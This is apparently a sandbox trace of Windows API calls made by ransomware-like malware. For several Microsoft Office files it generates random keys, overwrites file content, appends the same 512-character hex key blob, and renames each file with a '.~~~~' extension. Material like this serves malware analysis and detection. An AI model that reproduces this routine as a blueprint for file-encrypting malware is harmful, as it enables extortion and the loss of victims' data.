	[0130.514] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a11c68) returned 1
	[0130.515] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0130.516] CryptReleaseContext (hProv=0x2a11c68, dwFlags=0x0) returned 1
	[0130.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0130.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.516] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25050591961) returned 1
	[0130.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb73b8fb0, dwHighDateTime=0x1d60e1e)) 
	[0130.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28231e0
	[0130.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28231e0 | out: hHeap=0x300000) returned 1
	[0130.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c37d0
	[0130.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.517] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.517] GetLastError () returned 0x0
	[0130.517] GetLastError () returned 0x0
	[0130.517] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.517] GetLastError () returned 0x0
	[0130.517] GetLastError () returned 0x0
	[0130.519] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffee6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.519] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x11a, lpOverlapped=0x0) returned 1
	[0130.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.521] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.521] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.521] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.521] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.521] CloseHandle (hObject=0x114) returned 1
	[0130.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.521] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115856.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115856.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115856.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115856.gif.~~~~")) returned 1
	[0130.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.523] GetLastError () returned 0x0
	[0130.523] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a11c68) returned 1
	[0130.525] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0130.525] CryptReleaseContext (hProv=0x2a11c68, dwFlags=0x0) returned 1
	[0130.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0130.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.525] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25051526936) returned 1
	[0130.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb73df110, dwHighDateTime=0x1d60e1e)) 
	[0130.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823218
	[0130.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823218 | out: hHeap=0x300000) returned 1
	[0130.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3868
	[0130.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.526] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.526] GetLastError () returned 0x0
	[0130.527] GetLastError () returned 0x0
	[0130.527] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.527] GetLastError () returned 0x0
	[0130.527] GetLastError () returned 0x0
	[0130.544] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffe2d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.544] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1d3, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x1d3, lpOverlapped=0x0) returned 1
	[0130.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.545] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.545] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.545] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.545] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.546] CloseHandle (hObject=0x114) returned 1
	[0130.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.546] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115875.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115875.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115875.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115875.gif.~~~~")) returned 1
	[0130.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.548] GetLastError () returned 0x0
	[0130.571] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0130.573] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.573] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.573] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25056307688) returned 1
	[0130.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb7451530, dwHighDateTime=0x1d60e1e)) 
	[0130.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0130.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28230c8
	[0130.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28230c8 | out: hHeap=0x300000) returned 1
	[0130.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3900
	[0130.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.574] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.574] GetLastError () returned 0x0
	[0130.574] GetLastError () returned 0x0
	[0130.575] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.575] GetLastError () returned 0x0
	[0130.575] GetLastError () returned 0x0
	[0130.586] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffc260, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.586] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x3da0, lpOverlapped=0x0) returned 1
	[0130.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0130.588] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.588] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.588] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.588] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.588] CloseHandle (hObject=0x13c) returned 1
	[0130.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3ac8
	[0130.589] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll.~~~~")) returned 1
	[0130.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c3ac8 | out: hHeap=0x300000) returned 1
	[0130.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.594] GetLastError () returned 0x0
	[0130.594] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0130.595] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.595] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.596] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25058586612) returned 1
	[0130.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb749d7f0, dwHighDateTime=0x1d60e1e)) 
	[0130.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0130.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823330
	[0130.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823330 | out: hHeap=0x300000) returned 1
	[0130.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3b60
	[0130.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.597] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.597] GetLastError () returned 0x0
	[0130.597] GetLastError () returned 0x0
	[0130.597] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.597] GetLastError () returned 0x0
	[0130.597] GetLastError () returned 0x0
	[0130.606] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.606] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0130.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.612] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.612] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.621] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.621] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.621] CloseHandle (hObject=0x13c) returned 1
	[0130.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1748
	[0130.631] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.~~~~")) returned 1
	[0130.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1748 | out: hHeap=0x300000) returned 1
	[0130.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.633] GetLastError () returned 0x0
	[0130.634] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a11be0) returned 1
	[0130.635] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0130.635] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0130.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0130.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.635] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25062524650) returned 1
	[0130.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb74e9ab0, dwHighDateTime=0x1d60e1e)) 
	[0130.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0130.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe248
	[0130.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe248 | out: hHeap=0x300000) returned 1
	[0130.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1748
	[0130.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.636] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.636] GetLastError () returned 0x0
	[0130.637] GetLastError () returned 0x0
	[0130.637] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.637] GetLastError () returned 0x0
	[0130.637] GetLastError () returned 0x0
	[0130.644] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.644] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0130.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.648] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.648] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.649] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.649] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.649] CloseHandle (hObject=0x114) returned 1
	[0130.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1a40
	[0130.669] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.~~~~")) returned 1
